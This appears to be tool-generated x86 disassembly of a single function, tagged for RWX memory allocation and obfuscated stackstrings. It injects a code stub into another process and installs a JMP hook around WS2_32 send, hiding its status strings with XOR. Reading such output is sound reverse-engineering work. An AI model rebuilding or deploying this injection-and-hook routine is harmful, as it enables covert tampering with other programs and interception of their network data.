Function at 0x454490
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x2a8
mov eax, dword [0x679dc8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push ecx
push 0
push 0x1fffff
mov edi, edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4545d0
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x298], eax
test eax, eax
jne 0x4545e5
mov dword [ebp - 0x230], 0x899b85e0
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0x65cd48ec
mov dword [ebp - 0x228], 0x3959a7a0
mov dword [ebp - 0x224], 0xd50f81c6
mov dword [ebp - 0x220], 0x269f3c6f
mov dword [ebp - 0x21c], 0xcfb55f79
mov dword [ebp - 0x218], 0xad6124c8
mov dword [ebp - 0x214], 0x9738a288
mov dword [ebp - 0x270], 0xe6f7e9a1
mov dword [ebp - 0x26c], 0x10af688f
mov dword [ebp - 0x268], 0x4b3cc1c6
mov dword [ebp - 0x264], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x2cfb5903
mov dword [ebp - 0x25c], 0xcfb55f79
mov dword [ebp - 0x258], 0xad6124c8
mov dword [ebp - 0x254], 0x9738a288
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x1c8
lea eax, [ebp - 0x1dc]
mov word [ebp - 0x208], 0xba60
push 0
push eax
mov byte [ebp - 0x202], 0xb9
mov dword [ebp - 0x1fd], 0x189028b
mov dword [ebp - 0x1f9], 0x8804428a
mov word [ebp - 0x1f5], 0x441
mov byte [ebp - 0x1f3], 0x68
mov byte [ebp - 0x1ee], 0xba
mov dword [ebp - 0x1e9], 0x8b61d2ff
mov dword [ebp - 0x1e5], 0xec8b55ff
mov byte [ebp - 0x1e1], 0xe9
call fcn.005c9aa0
mov eax, dword [ebx + 8]
add esp, 0xc
add eax, eax
push eax
lea eax, [ebp - 0x1b2]
push edi
push eax
call fcn.005c9520
mov ecx, dword [ebp - 0x298]
add esp, 0xc
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x201], edi
lea eax, [ecx + 0x50]
mov dword [ebp - 0x206], eax
lea eax, [ecx + 0x56]
mov dword [ebp - 0x1f2], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x1ed], eax
mov eax, edi
sub eax, ecx
sub eax, 0x27
mov dword [ebp - 0x1e0], eax
mov eax, dword [edi]
mov dword [ebp - 0x1b8], eax
mov al, byte [edi + 4]
push 0
push 0x1f4
mov byte [ebp - 0x1b4], al
lea eax, [ebp - 0x208]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4547c8
push dword [ebp - 0x298]
mov dword [ebp - 0x230], 0x929e9bf6
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0x71c948ea
mov dword [ebp - 0x228], 0x2f59adaf
mov dword [ebp - 0x224], 0xc45ecfc6
mov dword [ebp - 0x220], 0x26d20126
mov dword [ebp - 0x21c], 0xcfb55f79
mov dword [ebp - 0x218], 0xad6124c8
mov dword [ebp - 0x214], 0x9738a288
mov dword [ebp - 0x270], 0xe6f7e9a1
mov dword [ebp - 0x26c], 0x10af688f
mov dword [ebp - 0x268], 0x4b3cc1c6
mov dword [ebp - 0x264], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x2cfb5903
mov dword [ebp - 0x25c], 0xcfb55f79
mov dword [ebp - 0x258], 0xad6124c8
mov dword [ebp - 0x254], 0x9738a288
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 8
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x29c], 0
push eax
push 0x40
push 5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 0x298]
sub eax, edi
mov byte [ebp - 0xc], 0xe9
push 0
sub eax, 5
mov byte [ebp - 0x291], 0
push 5
mov dword [ebp - 0xb], eax
lea eax, [ebp - 0xc]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, 1
jne 0x454bd3
mov dword [ebp - 0x250], 0x858388f1
lea eax, [ebp - 0x250]
mov dword [ebp - 0x24c], 0x65dc48e7
mov dword [ebp - 0x248], 0x3859a2a5
mov dword [ebp - 0x244], 0xd94ecb95
mov dword [ebp - 0x240], 0x58953c75
mov dword [ebp - 0x23c], 0xaadd2b59
mov dword [ebp - 0x238], 0xc00043e8
mov dword [ebp - 0x234], 0xf84c82ed
mov dword [ebp - 0x230], 0xcd692295
mov dword [ebp - 0x22c], 0x2c1e0c01
mov dword [ebp - 0x228], 0x4d593f64
mov dword [ebp - 0x224], 0x610f98e
mov dword [ebp - 0x220], 0x2fe0ef56
mov dword [ebp - 0x21c], 0x6e1478bd
mov dword [ebp - 0x218], 0xe741fd2f
mov dword [ebp - 0x214], 0x7cc209df
mov dword [ebp - 0x290], 0xe6f7e9a1
mov dword [ebp - 0x28c], 0x10af688f
mov dword [ebp - 0x288], 0x4b3cc1c6
mov dword [ebp - 0x284], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x290]
pxor xmm1, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0x250], xmm1
mov dword [ebp - 0x280], 0x2cfb5903
mov dword [ebp - 0x27c], 0xcfb55f79
mov dword [ebp - 0x278], 0xad6124c8
mov dword [ebp - 0x274], 0x9738a288
movaps xmm1, xmmword [ebp - 0x280]
pxor xmm1, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0x240], xmm1
mov dword [ebp - 0x270], 0xac1d51b5
mov dword [ebp - 0x26c], 0x453e7873
mov dword [ebp - 0x268], 0x2e3c550a
mov dword [ebp - 0x264], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x1cc09737
mov dword [ebp - 0x25c], 0xb67588d
mov dword [ebp - 0x258], 0x832f924c
mov dword [ebp - 0x254], 0x7cc820ac
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 4
mov byte [ebp - 0x291], 0
xor al, al
mov byte [ebp - 0x292], al
nop dword [eax]
push 0
push 1
lea eax, [ebp - 0x291]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x291], 0xe9
jne 0x454a7b
inc byte [ebp - 0x292]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x292], 0xd2
jne 0x4549d0
mov dword [ebp - 0x260], 0x839a80f5
lea eax, [ebp - 0x260]
mov dword [ebp - 0x25c], 0x65c048eb
mov dword [ebp - 0x258], 0x4b3cefb2
mov dword [ebp - 0x254], 0xbc6ee7e6
mov dword [ebp - 0x220], 0xe6f7e9a1
mov dword [ebp - 0x21c], 0x10af688f
mov dword [ebp - 0x218], 0x4b3cc1c6
mov dword [ebp - 0x214], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x220]
pxor xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x260], xmm1
jmp 0x454bb3
mov dword [ebp - 0x240], 0x839a88e6
lea eax, [ebp - 0x240]
mov dword [ebp - 0x23c], 0x75d90daf
mov dword [ebp - 0x238], 0x2f1cb5a8
mov dword [ebp - 0x234], 0xdf0b9383
mov dword [ebp - 0x230], 0x9f3c77
mov dword [ebp - 0x22c], 0xa3d93b59
mov dword [ebp - 0x228], 0x8d124de8
mov dword [ebp - 0x224], 0xf359cde4
mov dword [ebp - 0x220], 0x8c7a3fdc
mov dword [ebp - 0x21c], 0x6b49171d
mov dword [ebp - 0x218], 0x2e367b24
mov dword [ebp - 0x214], 0x6b38d9fa
mov dword [ebp - 0x280], 0xe6f7e9a1
mov dword [ebp - 0x27c], 0x10af688f
mov dword [ebp - 0x278], 0x4b3cc1c6
mov dword [ebp - 0x274], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x280]
pxor xmm1, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0x240], xmm1
mov dword [ebp - 0x270], 0x2cfb5903
mov dword [ebp - 0x26c], 0xcfb55f79
mov dword [ebp - 0x268], 0xad6124c8
mov dword [ebp - 0x264], 0x9738a288
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0xac1d51b5
mov dword [ebp - 0x25c], 0x453e7873
mov dword [ebp - 0x258], 0x2e3c550a
mov dword [ebp - 0x254], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
movaps xmmword [ebp - 0x220], xmm1
push eax
call fcn.0044b300
add esp, 4
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x291], 1
jmp 0x454cae
mov dword [ebp - 0x230], 0x858388f1
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0x5de548e7
mov dword [ebp - 0x228], 0x2a5ae196
mov dword [ebp - 0x224], 0xd80b8b8f
mov dword [ebp - 0x220], 0x2cfb5909
mov dword [ebp - 0x21c], 0xcfb55f79
mov dword [ebp - 0x218], 0xad6124c8
mov dword [ebp - 0x214], 0x9738a288
mov dword [ebp - 0x270], 0xe6f7e9a1
mov dword [ebp - 0x26c], 0x10af688f
mov dword [ebp - 0x268], 0x4b3cc1c6
mov dword [ebp - 0x264], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x270]
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x230], xmm1
mov dword [ebp - 0x260], 0x2cfb5903
mov dword [ebp - 0x25c], 0xcfb55f79
mov dword [ebp - 0x258], 0xad6124c8
mov dword [ebp - 0x254], 0x9738a288
movaps xmm1, xmmword [ebp - 0x260]
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x220], xmm1
call fcn.0044b300
add esp, 4
lea eax, [ebp - 0x2a0]
push eax
push dword [ebp - 0x29c]
push 5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x4000
push 0x1000
push dword [ebp - 0x298]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x291]
xor ecx, ebp
pop edi
pop esi
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret